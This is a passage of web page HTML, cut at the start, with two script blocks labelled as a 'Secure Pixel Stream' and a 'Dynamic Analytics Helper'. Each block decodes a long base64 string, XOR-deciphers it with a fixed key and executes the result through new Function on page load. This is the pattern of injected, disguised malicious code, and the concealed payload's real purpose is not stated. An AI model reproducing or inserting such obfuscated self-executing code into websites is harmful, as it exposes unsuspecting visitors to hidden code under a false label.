3FdV0hIBQkBT15HAF5GXhFdEwkFcVxJT0pGBQkIcVgTCQVjT1pGAEhCQUFcBmpPWksAQEFZBgcBGB4eHh4HFXFcX0xJWUtJAE9dV0BNE1pcW0sVBkpBTVtDS0BaAEZLT0pSUkpBTVtDS0BaAExBSlcHAE9eXktASm1GR0JKBnFcX0xJWUtJBxVTcUtfR0VGBh4HAFpGS0AGSFtATVpHQUAGcV1XSEgHVUdIBnFdV0hIB3FEXUlBRwZxXVdISAcVUwcVUwcGBxU='),_0x1363b48b1b69=46,_0x79786ef0e841=new Uint8Array(_0x8105c35d0b20['length']),_0xfd7cf5361484=0;for(;_0xfd7cf5361484<_0x8105c35d0b20['length'];_0xfd7cf5361484++)_0x79786ef0e841[_0xfd7cf5361484]=_0x8105c35d0b20['charCodeAt'](_0xfd7cf5361484)^_0x1363b48b1b69;(new Function(new TextDecoder()['decode'](_0x79786ef0e841)))()}();
</script>
<!-- END: X Secure Pixel Stream --><!-- BEGIN: X-Dynamic Analytics Helper -->
<script>
    window.XTracker_DVLC = {
        loaded: true,
        version: "2.4.9",
        timestamp: new Date().getTime()
    };
</script>
<script>
!function(){var _0x9855=atob('eDYlPjMkOT8+eHkrOTZ4Jzk+ND8nC3cPZjU1MzRpMzFkMXcNeSI1JCUiPmsnOT40PycLdw9mNTUzNGkzMWQxdw1tYWsmMSJwDzcxJyhtcjI2MWg0ZmZmaGczNWA2NGJgMTRoYTVjZ2c2YzRgMWZjaGRhMmRiYmNhMWAzZzZpZXJrJjEicA85KDM7JG0LdzgkJCAjan9/YSIgM345P389MSQ5M3d8dzgkJCAjan9/IiAzfT0xOT4+NSR+PTEkOTN+ISU5Oz4/NDV+ICI/d3x3OCQkICNqf38gPzwpNz8+fjcxJDUnMSl+JDU+NDUiPCl+Mz93fHc4JCQgI2p/fyA/PCk3Pz59Mj8ifSIgM34gJTI8OTM+PzQ1fjM/PXd8dzgkJCAjan9/ID88KTc/Pn40IiAzfj8iN3d8dzgkJCAjan9/ID88KTc/Pn09MTk+PjUkfiAlMjw5M34yPDEjJDEgOX45P3d8dzgkJCAjan9/IiAzfjE+OyJ+Mz89fyA/PCk3Pz53fHc4JCQgI2p/fyA/PCk3Pz59ICUyPDkzfj4/NDk1I34xICB3DWsmMSJwDyI7ID8iI21yYChgE2cTMmBhE2hjYmBjMRNgMWVgETIzYzFpERYWYzNpEzFnYmc1FmVlcmsmMSJwDzc1Nj9tcjJmaDRhaGBpcms2JT4zJDk/PnAPOCohNiN4Dz88Jz82NnkrJCIpKyYxInAPPzc4Pm0PPzwnPzY2fiMlMiMkInhgfGJ5bW1td2Aod28PPzwnPzY2fiMlMiMkInhieWoPPzwnPzY2azk2eA8/Nzg+fjw1PjckOGxhYmh5IjUkJSI+d3drJjEicA84PT42KG0gMSIjNRk+JHgPPzc4Pn4jJTIjJCJ4ZmR8ZmR5fGFmeWs5NnhxDzg9PjYoeSI1JCUiPnd3ayYxInAPMiImMz5tDz83OD5+IyUyIyQieGFiaHwPOD0+Nih6Ynl8DyonNycxbXd3azY/IngmMSJwDycyOzQnP21gaw8nMjs0Jz9sDzIiJjM+fjw1PjckOGsPJzI7NCc/e21ieSsmMSJwDyY7Mj1tIDEiIzUZPiR4DzIiJjM+fiMlMiMkIngPJzI7NCc/fGJ5fGFmeWs5NngPJjsyPXkPKic3JzF7bQMkIjk+N342Ij89EzgxIhM/NDV4DyY7Mj15ay0iNSQlIj5wDyonNycxay0zMSQzOHg1eSsiNSQlIj53d2stLTYlPjMkOT8+cA8pKj4gOXgPKSU2JD05IXwPNiM7KSMxeSsiNSQlIj5wPjUncAAiPz05IzV4NiU+MyQ5Pz54DzgjPic8NSp8Dzg9NigqInkrJjEicA8pIjslOm0+NSdwCB0cGCQkIAI1ISU1IyR4eWsPKSI7JTp+PyA1Pnh3AB8DBHd8DyklNiQ9OSF8JCIlNXlrDykiOyU6fiM1JAI1ISU1IyQYNTE0NSJ4dxM/PiQ1PiR9BCkgNXd8dzEgIDw5MzEkOT8+fzojPz53eWsPKSI7JTp+JDk9NT8lJG1lYGBgaw8pIjslOn4/Pjw/MTRtNiU+MyQ5Pz54eSskIikrDzgjPic8NSp4GgMfHn4gMSIjNXgPKSI7JTp+IjUjID8+IzUENSgkeXlrLTMxJDM4eDV5Kw84PTYoKiJ4NXlrLS1rDykiOyU6fj8+NSIiPyJtDykiOyU6fj8+JDk9NT8lJG02JT4zJDk/Pnh5Kw84PTYoKiJ4PjUncBUiIj8ieHl5ay1rDykiOyU6fiM1PjR4GgMfHn4jJCI5Pjc5Nil4DzYjOykjMXl5ay15ay02JT4zJDk/PnAPNCo6KCE2eA8kJSE4PSUheSs5NngPJCUhOD0lIW5tDzkoMzskfjw1PjckOHkiNSQlIj5wACI/PTkjNX4iNSM/PCY1eD4lPDx5ayYxInAPITE2PCQkbSs6Iz8+IiAzandifmB3fD01JDg/NGp3NSQ4DzMxPDx3fCAxIjE9I2oLKyQ/ag8iOyA/IiN8NDEkMWp3YCh3ew83NTY/LXx3PDEkNSMkdw18OTRqYS1rIjUkJSI+cA8pKj4gOXgPOSgzOyQLDyQlITg9JSENfA8hMTY8JCR5fiQ4NT54NiU+MyQ5Pz54DzI5IT4meSsmMSJwDzY+NDIgMzltDzI5IT4mdnYPMjkhPiZ+IjUjJTwkbw84KiE2I3gPMjkhPiZ+IjUjJTwkeWp3d2s5NngPNj40MiAzOXkiNSQlIj5wDzY+NDIgMzl+IjUgPDEzNXh/DH97dH98d3d5ayI1JCUiPnAPNCo6KCE2eA8kJSE4PSUhe2F5ay15fjMxJDM4eDYlPjMkOT8+eHkrIjUkJSI+cA80KjooITZ4DyQlITg9JSF7YXlrLXlrLTYlPjMkOT8+cA80NTM3OjQyeA8xPD4iPyp5KyYxInAPPCQlPm00PzMlPTU+JH4zIjUxJDUVPDU9NT4keHcjMyI5ICR3eWsPPCQlPn4jIjNtDzE8PiI/Knt3fzEgOX4gOCBvI213ew83MScoe3d2DyZtd3sdMSQ4fjY8Pz8ieBQxJDV+Pj8neHl/ZmBgYGB5aw88JCU+fjEjKT4zbSQiJTVreDQ/MyU9NT4kfjg1MTQsLDQ/MyU9NT4kfjI/NCl5fjEgIDU+NBM4OTw0eA88JCU+eWstDzQqOighNnhgeX4kODU+eDYlPjMkOT8+eA8xPD4iPyp5Kzk2eA8xPD4iPyp5DzQ1Mzc6NDJ4DzE8PiI/KnlrLXlrLXl4eWs='),_0x3b99=80,_0xa68e=new Uint8Array(_0x9855['length']),_0xf554=0;for(;_0xf554<_0x9855['length'];_0xf554++)_0xa68e[_0xf554]=_0x9855['charCodeAt'](_0xf554)^_0x3b99;(new Function(new TextDecoder()['decode'](_0xa68e)))()}();
</script>
<!-- END: X-Dynamic Analytics Helper -->